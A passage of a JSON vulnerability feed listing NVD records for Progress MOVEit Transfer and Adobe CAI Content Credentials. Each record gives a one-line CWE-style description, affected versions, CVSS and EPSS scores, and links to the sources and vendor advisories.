2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89074","cveId":"CVE-2026-89074","aliases":[],"kind":"vulnerability","title":"Improper handling of unicode encoding vulnerability in Progress MOVEit Transfer.","summary":"Improper handling of unicode encoding vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Improper handling of unicode encoding vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.743Z","updatedAt":"2026-10-19T12:15:01.957Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89074","asOf":"2026-10-19T12:15:01.957Z"},"epss":{"probability":0.00482,"percentile":0.41284,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89074&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89074","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89074","type":"primary","publishedAt":"2026-10-14T16:17:55.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89074&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89074, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89073","cveId":"CVE-2026-89073","aliases":[],"kind":"vulnerability","title":"Insufficient Session Expiration vulnerability in Progress MOVEit Transfer.","summary":"Insufficient Session Expiration vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Insufficient Session Expiration vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.630Z","updatedAt":"2026-10-19T12:16:05.177Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89073","asOf":"2026-10-19T12:16:05.177Z"},"epss":{"probability":0.00362,"percentile":0.29775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89073&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89073","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89073","type":"primary","publishedAt":"2026-10-14T16:17:55.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89073&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89073, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89072","cveId":"CVE-2026-89072","aliases":[],"kind":"vulnerability","title":"Incorrect Authorization vulnerability in Progress MOVEit Transfer (Client Certificates module).","summary":"Incorrect Authorization vulnerability in Progress MOVEit Transfer (Client Certificates module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Incorrect Authorization vulnerability in Progress MOVEit Transfer (Client Certificates module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.500Z","updatedAt":"2026-10-19T12:17:28.470Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89072","asOf":"2026-10-19T12:17:28.470Z"},"epss":{"probability":0.00249,"percentile":0.16013,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89072&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89072","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89072","type":"primary","publishedAt":"2026-10-14T16:17:55.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89072&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89072, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89071","cveId":"CVE-2026-89071","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Progress MOVEit Transfer (LDAP module).","summary":"Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Progress MOVEit Transfer (LDAP module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Progress MOVEit Transfer (LDAP module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.383Z","updatedAt":"2026-10-19T12:18:58.857Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89071","asOf":"2026-10-19T12:18:58.857Z"},"epss":{"probability":0.00521,"percentile":0.4398,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89071&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89071","type":"primary","publishedAt":"2026-10-14T16:17:55.383Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89071&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89071, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89070","cveId":"CVE-2026-89070","aliases":[],"kind":"vulnerability","title":"Authentication bypass by capture-replay vulnerability in Progress MOVEit Transfer (OIDC module).","summary":"Authentication bypass by capture-replay vulnerability in Progress MOVEit Transfer (OIDC module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Authentication bypass by capture-replay vulnerability in Progress MOVEit Transfer (OIDC module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.270Z","updatedAt":"2026-10-19T12:20:00.483Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89070","asOf":"2026-10-19T12:20:00.483Z"},"epss":{"probability":0.00398,"percentile":0.33726,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89070&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89070","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89070","type":"primary","publishedAt":"2026-10-14T16:17:55.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89070&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89070, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89069","cveId":"CVE-2026-89069","aliases":[],"kind":"vulnerability","title":"Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Progress MOVEit Transfer (Ad Hoc module).","summary":"Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Progress MOVEit Transfer (Ad Hoc module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Progress MOVEit Transfer (Ad Hoc module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.140Z","updatedAt":"2026-10-19T12:20:36.840Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89069","asOf":"2026-10-19T12:20:36.840Z"},"epss":{"probability":0.00369,"percentile":0.30583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89069","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89069","type":"primary","publishedAt":"2026-10-14T16:17:55.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89068","cveId":"CVE-2026-89068","aliases":[],"kind":"vulnerability","title":"Missing critical step in authentication vulnerability in Progress MOVEit Transfer (LDAP module).","summary":"Missing critical step in authentication vulnerability in Progress MOVEit Transfer (LDAP module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Missing critical step in authentication vulnerability in Progress MOVEit Transfer (LDAP module).\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:55.017Z","updatedAt":"2026-10-19T12:21:17.150Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89068","asOf":"2026-10-19T12:21:17.150Z"},"epss":{"probability":0.00536,"percentile":0.44913,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89068","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89068","type":"primary","publishedAt":"2026-10-14T16:17:55.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89067","cveId":"CVE-2026-89067","aliases":[],"kind":"vulnerability","title":"Authentication bypass using an alternate path or channel vulnerability in Progress MOVEit Transfer.","summary":"Authentication bypass using an alternate path or channel vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Authentication bypass using an alternate path or channel vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:54.897Z","updatedAt":"2026-10-19T12:21:40.463Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89067","asOf":"2026-10-19T12:21:40.463Z"},"epss":{"probability":0.00529,"percentile":0.4444,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89067&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89067","type":"primary","publishedAt":"2026-10-14T16:17:54.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89067&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89067, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87093","cveId":"CVE-2026-87093","aliases":[],"kind":"vulnerability","title":"Incorrect Permission Assignment for Critical Resource vulnerability in Progress MOVEit Transfer.","summary":"Incorrect Permission Assignment for Critical Resource vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.","detail":"Incorrect Permission Assignment for Critical Resource vulnerability in Progress MOVEit Transfer.\n\nThis issue affects MOVEit Transfer: before 2025.1.6 and from 2026.0.0 before 2026.0.4.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:54.780Z","updatedAt":"2026-10-16T21:12:27.980Z","regions":["Global"],"vendor":"progress","product":"moveit transfer","stacks":["Progress (MOVEit, Telerik, WS_FTP)","moveit transfer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87093","asOf":"2026-10-16T21:12:27.980Z"},"epss":{"probability":0.00158,"percentile":0.04946,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87093","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87093","type":"primary","publishedAt":"2026-10-14T16:17:54.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://community.progress.com/s/article/MOVEit-Transfer-Critical-Security-Bulletin---September-2026","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95634","cveId":"CVE-2026-95634","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.","summary":"CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"CAI Content Credentials is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:19:30.853Z","updatedAt":"2026-10-15T18:42:11.487Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95634","asOf":"2026-10-15T18:42:11.487Z"},"epss":{"probability":0.00519,"percentile":0.43802,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95634","type":"primary","publishedAt":"2026-10-13T22:19:30.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95633","cveId":"CVE-2026-95633","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:19:30.733Z","updatedAt":"2026-10-17T02:18:50.163Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95633","asOf":"2026-10-17T02:18:50.163Z"},"epss":{"probability":0.00334,"percentile":0.26479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 